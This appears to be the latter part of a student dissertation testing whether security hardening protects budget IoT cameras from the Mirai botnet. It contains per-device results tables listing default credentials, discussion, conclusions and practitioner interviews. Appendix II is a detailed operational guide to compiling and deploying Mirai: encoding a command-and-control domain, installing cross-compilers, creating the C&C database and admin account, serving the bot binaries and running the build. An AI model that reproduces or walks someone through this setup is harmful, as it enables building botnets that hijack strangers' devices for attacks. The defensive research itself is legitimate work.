It should be noted that the increase of security on the device does not take into
account only if the device was exploited by Mirai. If a device has had a recent update
pushed then it should logically be upgraded to a later safe version. The introduction of
patching or firmware update on a scheduled basis provides the device with up-to-date
security controls and leads to less chance of exploitation compared to un-scheduled
updates (Hunter, 2006).
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5.1.1 D-link DCS-932L
Control Before After Increase security
Apply updated firmware,
upgrade to latest safe
version.
2.12.01 Security Patch
Firmware (2.13.10
BETA)
Yes
Change default passwords admin:<null> admin:strongpass Yes
Disable null ciphers Not applicable After No
Disable Telnet and enable
SSH
Not applicable After Telnet not enabled.
Disable Anonymous FTP Not applicable After Anonymous FTP
not enabled
Disable SMTP Not applicable After SMTP not enabled
Enable HTTPS as opposed
to HTTP
HTTPS enabled
using self-signed
certificate.
Disabling HTTP Yes, but certificate
is invalid so
security conscious
users won’t click to
accept.
Table 12: Results table for D-link DCS-932L
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5.1.2 Motorola FOCUS66-W
Control Before After Increase security
Apply updated firmware,
upgrade to latest safe
version.
1662-01.19.32 No patch available. No
Change default passwords user:pass user:pass No
Disable null ciphers Not applicable Not applicable No encryption was
enabled
Disable Telnet and enable
SSH
Not applicable Not applicable Telnet not enabled.
Disable Anonymous FTP Not applicable Not applicable Anonymous FTP
not enabled
Disable SMTP Not applicable Not applicable SMTP not enabled
Enable HTTPS as opposed
to HTTP
Not available Not applicable
Table 13: Results table for Motorola FOCUS66-W
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5.1.3 Coolead IP/Network Camera
Control Before After Increase security
Apply updated firmware,
upgrade to latest safe
version.
51.3.0.152 No patch available. No
Change default password
on port 23
root:123456 root:strongpass Yes
Change default password
on port 80
admin:123456 admin:strongpass Yes
Disable null ciphers Not applicable Not applicable No encryption was
enabled
Disable Telnet and enable
SSH
Not applicable Not applicable Telnet not enabled.
Disable Anonymous FTP Not applicable Not applicable Anonymous FTP
not enabled
Disable SMTP Not applicable Not applicable SMTP not enabled
Enable HTTPS as opposed
to HTTP
Not available Not applicable
Table 14: Results table for Coolead IP/Network Camera
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5.1.4 Maginon IPC-10AC
Control Before After Increase security
Apply updated firmware,
upgrade to latest safe
version.
65.6.24.112 81.2.1.168 Yes
Apply updated web-
service, upgrade to latest
safe version.
3.1.1.0 3.3.0.0 Yes
Change default password
on port 23
root:123456 root:strongpass Device Stopped
responding
Change default password
on port 80
admin:<null> admin:strongpass Device Stopped
responding
Disable null ciphers Not available Not available Device Stopped
responding
Disable Telnet and enable
SSH
Not available Not available Device Stopped
responding
Disable Anonymous FTP Not available Not available Device Stopped
responding
Disable SMTP Not available Not available Device Stopped
responding
Enable HTTPS as opposed
to HTTP
Not available Device Stopped
responding
Table 15: Results table for Maginon IPC-10AC
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5.1.5 Zosi DVR186 - CCTV -IP Camera
Control Before After Increase security
Apply updated firmware,
upgrade to latest safe
version.
1.7.8.57801124 No patch available. No
Change default password
on port 23
root:123456 root:strongpass Yes
Change default password
on port 80
admin:123456 admin:strongpass Yes
Disable null ciphers Not available Not available Device Stopped
responding
Disable Telnet and enable
SSH
Not available Not available Device Stopped
responding
Disable Anonymous FTP Not available Not available Device Stopped
responding
Disable SMTP Not available Not available Device Stopped
responding
Enable HTTPS as opposed
to HTTP
Not available Device Stopped
responding
Table 16: Results table for Zosi DVR186 - CCTV -IP Camera
5.2 Discussion
The overall results are not a surprise based on the devices chosen, based on the research
in Chapter 2.4, IoT devices are more likely to contain outdated software and are less
likely to receive scheduled updates. This leads to a higher chance of exploitation from
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an attacker. Furthermore, of the devices that had telnet exposed, all had default
credentials enabled which allowed for root access to the device. Even though they are
different credentials per device, they are all running similar OS’s and if the default
credentials aren’t shared in the user manual and quick internet search can uncover
them.
The analysis of the devices can be broken down as follows.
 Devices that did not have their credentials changed had a 40% positive
response to the malware compared to when their credentials were left as the
default.
 Devices that had their credentials changed had a 100% positive response to the
malware compared to when their credentials were left as the default.
 Devices that left the telnet service running as default had a 40% positive
response to the malware compared to devices that did not have an exposed
telnet service.
 Devices that disabled the telnet service had a 100% positive response to the
malware.
Based on the easy exploitation of 4 of the total devices, it is safe to conclude that the
devices are manufactured insecure. As was echoed by Javvad and Wolf in the
interviews, the devices are leaky and poorly implemented devices where vulnerable
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code is being places on more insecure devices. The factors of insecure by design hold
fast here as firms appear to be rushing the devices to market for as cheap as possible
with little or no security implemented.
Javvad pointed out that the devices are hard to patch, this can be seen in that all of
the devices had the capability to have a patch applied, but only two had patches
available, and one of these was device 1, which was found to be the most robust.
None of the devices offered, update now functionality where you simply click update
and the device called home to the vendor to check if a patch was available. All the
devices required the user to upload a firmware update file acquired from an unnamed
location. This may lead to malicious firmware being uploaded when a user is duped
into thinking an update is for the camera while it is just a trojan that could provide
access to a malicious attacker.
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6 Conclusion & Future Work
This chapter will review the objectives of this research. The findings from each phase
will be discussed and concluded.
6.1 Problem Definition & Research Overview
The objective of this research was to establish if a strictly defined security
configuration for IoT devices mitigates the risk of exploitability by botnet malware.
The emphasis was place on Linux based devices as the devices that underwent the
experiment were Linux based, but the principles and findings translate to any build
type. If this is found to be true, regular IoT consumers as well as organisations
would be able to more securely incorporate the use of IoT technology without the
risk of exposure to malicious attackers by applying a few changes to the default
device during implementation.
The main objectives of the dissertation can be broken down as follows:
1. Determine the security problems related to IoT devices and their
implementation. This was achieved by researching malware and highlighting
the exploitation techniques used by malware, which gave a breakdown of key
areas of security that need to be analysed.
2. Test the chosen IoT devices using the latest malware designed for such devices to
discover the correlations between device and exploitation. This was performed
using Mirai as it was the malware specifically designed for IoT technology. Since
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the start of this project the next iteration of Mirai called BrickerBot, has already
started to have an impact on the world.
3. Design and test security controls based on the common weaknesses of each device.
By addressing each fault, then run the experiment again after resetting the device
to prove the security controls implemented after reset have the desired impact.
4. To identify topics for research that may improve and expand the knowledge
within this domain.
IoT cameras have one main purpose, to see what is happening in a place when
you cannot physically view the location. The two main use cases for them are baby
monitors and security cameras. This is the dangerous aspect of IoT devices, these
devices are meant to provide security and piece of mind to the owner, but in reality
the poor implementation can cause the device to be a tool for the attacker as
opposed to being a defensive tool for the owner. If an attacker exploits a security
camera and decides not to use it for DDoS attacks but instead uses it to see when the
owner is out of their home, this defeats the purpose of security cameras. The cameras
can be a double-edged sword and as with the NHS and its ransomware attacks
covered in Chapter 2.1, a security concern can quickly turn into a safety concern.
6.2 Experimentation, Evaluation & Limitations
6.2.1 Experimentation
 The findings of this experiment are definite. The fact that the advisory aligns
with all regular security principles adds to the findings weight.
77
 The cost was a direct influence to the likelihood of exploitation for the IoT
devices. The more expensive devices by comparison were robust towards Mirai’s
exploitation. This would mean that the experiment could have been completed
using more expensive IoT devices and that none of the devices may have been
exploitable by Mirai.
6.2.2 Evaluation
 As the scope for IoT devices by definition includes everything, in order to
actually finish this dissertation IoT cameras were chosen as the test devices.
The experiment may have been different if thermostats or refrigerators were
used instead, but if the devices were low-budget Internet of Things devices, I
can say with confidence that the results would be the same.
 To implement the security controls the devices had to be exploited. Exploitation
was limited to brute forcing password and using a Metasploit module40 to gain
admin control on the devices.
6.2.3 Limitations
 This is based on applying the security controls to all applicable devices.
 This dissertation has a considerable focus on the experiments that have taken
place. There are a lack of complete guides or information for an experiment of
this type.
40https://www.rapid7.com/db/modules/exploit/linux/http/dlink dcs 930l
authenticated remote command execution
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 The budget for the thesis was covered by the author. This includes the hardware
necessary for the experiments.
 During the experiment setup phase, upon implementation it was found that
there was no way to completely clone the devices without compromising them
first. The bulk of data on the devices before and after is from the command and
control that presents information based on devices exploited.
 The tools needed for the experiment were gathered using open source tools.
There were no commercial tools used in this experiment. If Celebrite41 or another
such forensic tool was used it may have been possible to get more information
from the devices before exploitation.
 Two of the cameras stopped functioning during the security control
implementation phase. Both devices were exploited beforehand by Mirai, but
upon reset and hardening, they stopped working.
6.3 Contribution and Impact
This dissertation focused on the security controls of IoT devices that have
increasingly been targeted by IoT specific malware. The details included regarding
the setup of the devices are not widely publicised and can be viewed in a handful of
blogs and YouTube videos. None of the guides are as complete as the guide in
Appendix II as they are all missing important parts to get the technology working
together to exploit the IoT devices.
Additionally, this study adds to the body of knowledge as all the findings align with
the hardening guidelines found in the reviewed literature. While the Linux hardening
41http://www.cellebrite.com/
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guides are lacking in they assume that best practice has been followed with all
devices, they miss the vital point that the operating systems on the tested devices
may not be complex enough to have this functionality such as password monitoring
or encryption by default installed. When dealing with IoT it the complexity of the
device has to be taken into account, it may be a MRI machine or a boolean sensor to
see if the fridge door has been closed.
Additionally, this study also shows that if a device is not exploited by malware, this
does not mean that it is a secure device as with the Motorola which the malware did
not commandeer, but has been shown in the baseline comparison chapter that such a
device may be ripe for exploit.
6.4 Future Work & Recommendations
Due to the fast-paced nature of the security world where attacker and defender are
trying to get a step ahead of each other, technology is rapidly changing. The move
towards cloud infrastructure such as Amazons Web services and Microsoft Azure has
helped the general security of organisation by making it more difficult to expose
unnecessary services on servers. This can be easily seen from the key based
authentication and security groups which is enforced as standard on Amazons EC2.
This topic would benefit from taking this approach to security and applying it to ISP
based technology such as routers and television boxes which like Amazon and
Microsoft cloud infrastructure are owned by the ISP and host, but have been known
to be woefully insecure42.
With security breaches every week globally there is always space to develop, and in
42https://krebsonsecurity.com/2016/11/new-mirai-worm-knocks-900k-germans-offline/
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order to get more accurate numbers for a project such as this the scale will need to
be increased exponentially.
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7 Appendix I
Peer interviews took place in January 2017 and June 2017 with three different
people.
Javvad Malik from Alienvault
David : What is your opinion on the state of the art for IoT devices? do you see
them as a platform for DDoS attacks, infected little rats, a useful tool to be
utilised by everyone or a pain in the arse as most of your problems stem from
them?
Javvad : IoT devices are still rather immature. The potential is there for them to
be really useful, and they have proven useful in some specific cases. But low
prices, and easy adoption has spread IoT wide and far without much
consideration beyond being a novelty.
David : Whats the most dangerous malware you have seen in the last few years?
And why is it the most dangerous?
Javvad : Do you mean IoT specific or just general? I suppose, Mirai was the big
compromise for IoT devices. But broadly speaking, the WannaCry / Eternal
Blue exploit was pretty devastating.
David : What is the biggest danger to the IoT industry?
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Javvad : Lack of strategic planning.
David : We have devices being rolled out just because we can. Many functions take
over from manual processes without due consideration as to what the manual
backup processes could be. This is particularly worrying where IoT is
embedded in critical systems (medical, infrastructure etc).
Javvad : Availability is a big danger, with all these devices sucking up bandwidth,
reliability becomes and issue. If your network goes down, what are the broader
impacts? Do you have a backup process in place?
David : Do you believe security is a problem when it comes to IoT devices?
Javvad : Yes, a big problem. They’re leaky, poorly implemented, and not robust.
Many of them are just an off the shelf, unhardened linux box with default
credentials. Impacting the privacy of users and remaining open to abuse.
David : Is there an obvious solution to the IoT devices security problem.
Javvad : Not that I’m aware of. The best solutions are the ones that are more
upstream and closest to point of manufacturing. Everything else downstream
becomes more patchwork and band-aids.
David : Who is at fault for any security problems you have mentioned?
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Javvad : It’s a multitude of issues. The complex OEM supply chain that comes
together to create devices, means it’s not always possible to pinpoint who the
actual manufacturer of a particular software or hardware component is. Even if
it can be established, many devices can’t even be patched (or patched easily)
David : what is the best possible remediation for the security problem (if it is a
security problem) highlighted?
Javvad : Harden devices, force users to change default passwords upon first use,
don’t expose services to the internet, have a patch process in place, have design
tested and validated by third parties.
David : An example of this could be (although it is not) the government could
monitor the internet to see malicious traffic and stop it.
David : What do you think the difference is between a $20 dollar IoT device and a
$50 IoT device?
Javvad : $30? But not much to be honest.
J. Wolfgang Goerlich world renowned Cyber Security Strategist
David :”What is your opinion on the state of the art for IoT devices? do you see
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them as a platform for DDoS attacks, infected little rats, a useful tool to be
utilised by everyone or a pain in the arse as most of your problems stem from
them?”
Wolf : We have steadily produced vulnerable code and insecure systems at, more
or less, a steady rate. IoT means putting more vulnerable code on more
insecure systems, on more places, produced by firms rushing to market. Factor
in the network effects, and we’ll see criminals utilizing these IoT more and
more for DDoS and other attacks.
Wolf : Oh, also? They’re useful tools and often fun toys.
David :”whats the most dangerous malware you have seen in the last few years?
And why is it the most dangerous?”
Wolf : Mirai because it brought attention to botnets on IoT, and WannaCry because
it introduced flash worms back into the mainstream.
David :”What is the biggest danger to the IoT industry?”
Wolf : Lack of people and funding. I did an analysis in 2014 for the Merit MCRCon.
(Slides attached.) I ranked IoT companies by revenue. I ranked IoT companies
by employees. I then did standard average of budget for security by revenue,
and standard average people for security by employee count. Rough numbers,
of course.
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Wolf : I found that almost all IoT firms had less than 1 FTE with a budget of less
than $100k.
Wolf : (It’s worth redoing the analysis for your paper. I found it insightful and a
powerful talking point.)
David :”Do you believe security is a problem when it comes to IoT devices?”
Wolf : Yes, but, it’s the same rate of defects we’ve always seen. So IoT isn’t
uniquely security deficient. The problem with IoT is the volume of devices, and
the resulting network effects that criminals will use to their advantage.
David :”Is there an obvious solution to the IoT devices security problem.”
Wolf : Provide IoT companies secure dev kits and dev platforms. See also: Mark
Stanislav’s work with Build it Securely.
David :”Who is at fault for any security problems you have mentioned?”
Wolf : Capitalism? We have a industry of small scrappy entrepreneurial firms
rushing products to market. Corners are being cut. Development is being
rushed. And there isn’t time or budget to build secure products.
David :”what is the best possible remediation for the security problem (if it is a
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security problem) highlighted?”
Wolf : (1) Address the IoT industry needs with secure hardware and software, that
can be customized and personalized for the IoT vendor.
Wolf : (2) Product safety and security laws. In the slides I attached, I used the
metaphor of how the automotive industry changed after the book Unsafe at
Any Speed.
David :”What do you think the difference is between a $20 dollar IoT device and a
$50 IoT device?”
Wolf : The upside revenue and resulting profits available for investing in product
safety and security.
8 Appendix II
Once the machines are installed the following commands should be ran.
$ sudo apt−get upgrade && apt−get update −y
Then edit the hostname of this machine to a suitable hostname. For the purposes of
this experiment the name mirai-box-dave.ie was chosen. To do this run the following
commands.
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Figure 24: Setting of VMware machines in VMware Player 12
$ nano / e tc /hostname
update the name and then save
$ nano / e tc / hos t s
replace first line with your new hostname
$ / e tc / i n i t . d/hostname . sh s t a r t
Run to update your hostname
$ hostname
run to make sure hostname has changed. On the second machine the following
commands were ran.
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$ sudo apt−get upgrade && apt−get update −y
using the -y flag in this instance will install all dependencies.
$ sudo apt−get i n s t a l l gcc unzip golang
. . . e l e c t r i c −f ence s c r e en g i t −y
gcc This is the GNU C compiler, a fairly portable optimizing compiler for C.43
unzip InfoZIP’s unzip program44
golang The Go programming language is an open source project to make
programmers more productive.45
electric-fence Electric Fence is a debugger that uses virtual memory hardware to
detect illegal memory accesses.46
screen GNU Screen is a terminal multiplexer that runs several separate ”screens”
on a single physical character-based terminal.47
git Git is popular version control system designed to handle very large projects with
speed and efficiency; it is used for many high profile open source projects, most
notably the Linux kernel.48
Try to ping the other VM at this point. It should work, but it is worth checking
to make sure there are no networking issues.
43https://packages.debian.org/jessie/gcc
44https://packages.debian.org/jessie/unzip
45https://packages.debian.org/jessie/golang
46https://packages.debian.org/jessie/electric-fence
47https://packages.debian.org/jessie/screen
48https://packages.debian.org/jessie/git
94
Edit the hosts file on this machine and put an entry in for the mirai-box-dave.ie
Figure 25: hosts file example.
Take a copy of Mirai from the link below.
https://github.com/davidkennefick/Mirai-Source-Code Copy to your machine and
unzip in a suitable location.
Compile the encode C file enc.c
$ gcc enc . c −o enc
encode the domain name of your choice. It can be public or it can be internal like
mirai-box-dave.ie machine.
$ . / enc s t r i n g mirai−box−dave . i e
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When get the encoded string of data.
\x4F\x4B\x50\x43\x4B\x0F\x40\x4D\x5A\x0F\x46\x43\x54\x47\x0C\x4B\x47\x22
Figure 26: Encoded URL in code snippet.
This will need to be added into the code in the places highlighted below. The
character count will also need to be added.
1. /Mirai-Source-Code-master/mirai/bot/table.c
 Line 23 - TABLE CNC DOMAIN
 Line 27 - TABLE SCAN CB DOMAIN
2. /Mirai-Source-Code-master/mirai/cnc/main.go
 Line 10 - Location of database port.
When these changes have been made move onto the database client and server.
Install them using the following commands.
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Figure 27: Database setting for experiment
$ sudo apt−get i n s t a l l mysql−c l i e n t −y
$ sudo apt−get i n s t a l l mysql−s e r v e r −y
Once the database is setup, edited main.go again to set the database username and
password the same as set during the setup.
Depending on your machine/network configuration and if you have not followed the
above it may be possible that you will have to edit lines 19 and 25 in main.go to
replace the 0.0.0.0:23 & 0.0.0.0.0:101 with your IP addresses. This may be the case if
you are trying to hide your locations via a VPN or if there is an issue with your
hosts or DNS.
The following commands then need to be run.
Downloaded some dependencies that are needed for the next steps.
$ go get github . com/go−sq l−d r i v e r /mysql
$ go get github . com/mattn/go−she l lwo rd s
The first step is to create a working directory and then go into it.
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$ mkdir / e t c / xcompile
$ cd / e tc / xcompile
In the new directory download all the zipped cross-compile binaries that Mirai will
need.
$ wget https ://www. u c l i b c . org /downloads/ b i n a r i e s / 0 . 9 . 3 0 . 1 / cross−compiler−armv4l . ta r . bz2
$ wget https ://www. u c l i b c . org /downloads/ b i n a r i e s / 0 . 9 . 3 0 . 1 / cross−compiler−i 586 . ta r . bz2
$ wget https ://www. u c l i b c . org /downloads/ b i n a r i e s / 0 . 9 . 3 0 . 1 / cross−compiler−m68k . ta r . bz2
$ wget https ://www. u c l i b c . org /downloads/ b i n a r i e s / 0 . 9 . 3 0 . 1 / cross−compiler−mips . ta r . bz2
$ wget https ://www. u c l i b c . org /downloads/ b i n a r i e s / 0 . 9 . 3 0 . 1 / cross−compiler−mipse l . ta r . bz2
$ wget https ://www. u c l i b c . org /downloads/ b i n a r i e s / 0 . 9 . 3 0 . 1 / cross−compiler−powerpc . ta r . bz2
$ wget https ://www. u c l i b c . org /downloads/ b i n a r i e s / 0 . 9 . 3 0 . 1 / cross−compiler−sh4 . ta r . bz2
$ wget https ://www. u c l i b c . org /downloads/ b i n a r i e s / 0 . 9 . 3 0 . 1 / cross−compiler−sparc . ta r . bz2
$ wget http :// d i s t r o . i b i b l i o . org / s l i t a z / source s / packages /c/ cross−compiler−armv6l . ta r . bz2
Then use the tar command (Tape Archiver) to uncompress all the above files.
$ ta r − j x f c ros s−compi ler−armv4l . t a r . bz2
$ ta r − j x f c ros s−compi ler−i 586 . ta r . bz2
$ ta r − j x f c ros s−compi ler−m68k . ta r . bz2
$ ta r − j x f c ros s−compi ler−mips . ta r . bz2
$ ta r − j x f c ros s−compi ler−mipse l . t a r . bz2
$ ta r − j x f c ros s−compi ler−powerpc . ta r . bz2
$ ta r − j x f c ros s−compi ler−sh4 . ta r . bz2
$ ta r − j x f c ros s−compi ler−sparc . ta r . bz2
$ ta r − j x f c ros s−compi ler−armv6l . t a r . bz2
When working on a VM or potentially small provisioned machine, remove any files
that are not needed to save space.
$ rm * . t a r . bz2
Then rename them to a more comfortable format.
98
$ mv cros s−compi ler−armv4l armv4l
$ mv cros s−compi ler−i 586 i586
$ mv cros s−compi ler−m68k m68k
$ mv cros s−compi ler−mips mips
$ mv cros s−compi ler−mipse l mipse l
$ mv cros s−compi ler−powerpc powerpc
$ mv cros s−compi ler−sh4 sh4
$ mv cros s−compi ler−sparc sparc
$ mv cros s−compi ler−armv6l armv6l
Once this is done, set the paths on the machine so that the Mirai instance will know
where to look when it needs to use these resources.
$ export PATH=$PATH: / e tc / xcompile /armv4l/ bin
$ export PATH=$PATH: / e tc / xcompile /armv6l/ bin
$ export PATH=$PATH: / e tc / xcompile / i586 / bin
$ export PATH=$PATH: / e tc / xcompile /m68k/ bin
$ export PATH=$PATH: / e tc / xcompile /mips/ bin
$ export PATH=$PATH: / e tc / xcompile / mipse l / bin
$ export PATH=$PATH: / e tc / xcompile /powerpc/ bin
$ export PATH=$PATH: / e tc / xcompile /powerpc−440 fp / bin
$ export PATH=$PATH: / e tc / xcompile / sh4/ bin
$ export PATH=$PATH: / e tc / xcompile / sparc / bin
$ export PATH=$PATH: / e tc / xcompile /armv6l/ bin
Then do the same for the GO paths
$ export PATH=$PATH: / usr / local /go/ bin
$ export GOPATH=$HOME/Documents/go
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Figure 28: Files in browser via directory listing
Then apache is installed.
$ sudo apt−get i n s t a l l apache2
Then move all the new mirai files to the main Apache directory.
$ mv mira i .* / var /www/html
Now that all of the mirai pieces are in place. The database is created.
Do this in using the following mysql.
The commands below can be used. It should also be noted that if you wish to use a
non default port or if you wish to use a different user than the one created below.
You will have to edit main.go again to edit it based on your needs.
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CREATE DATABASE mira i ;
CREATE TABLE `h i s to ry ` (
` id ` int (10) unsigned NOT NULL AUTO INCREMENT,
` use r id ` int (10) unsigned NOT NULL,
` t ime sent ` int (10) unsigned NOT NULL,
`durat ion ` int (10) unsigned NOT NULL,
`command` t ex t NOT NULL,
`max bots ` int (11) DEFAULT '−1 ' ,
PRIMARY KEY ( ` id ` ) ,
KEY ` use r id ` ( ` use r id `)
) ;
CREATE TABLE `users ` (
` id ` int (10) unsigned NOT NULL AUTO INCREMENT,
`username ` varchar (32) NOT NULL,
`password ` varchar (32) NOT NULL,
` d u r a t i o n l i m i t ` int (10) unsigned DEFAULT NULL,
`cooldown ` int (10) unsigned NOT NULL,
`wrc` int (10) unsigned DEFAULT NULL,
` l a s t p a i d ` int (10) unsigned NOT NULL,
`max bots ` int (11) DEFAULT '−1 ' ,
`admin` int (10) unsigned DEFAULT ' 0 ' ,
` i n tv l ` int (10) unsigned DEFAULT ' 30 ' ,
`api key ` text ,
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PRIMARY KEY ( ` id ` ) ,
KEY `username ` ( `username `)
) ;
CREATE TABLE ` w h i t e l i s t ` (
` id ` int (10) unsigned NOT NULL AUTO INCREMENT,
` pre f i x ` varchar (16) DEFAULT NULL,
`netmask ` t i n y i n t (3 ) unsigned DEFAULT NULL,
PRIMARY KEY ( ` id ` ) ,
KEY ` pre f i x ` ( ` pre f i x `)
) ;
A user is then created to authenticate to the Mirai instance with.
INSERT INTO use r s
VALUES (NULL, ' root ' , ' root ' , 0 , 0 , 0 , 0 , −1, 1 , 30 , ' ' ) ;
Once this is setup do the final debug and release of the code. Do that using the
following.
In Mirai-Source-Code-master/mirai run the following
$ . / bu i ld . sh debug t e l n e t
$ . / bu i ld . sh r e l e a s e t e l n e t
With each of these commands you may have some errors. This will depend on the
technology your machine is using.
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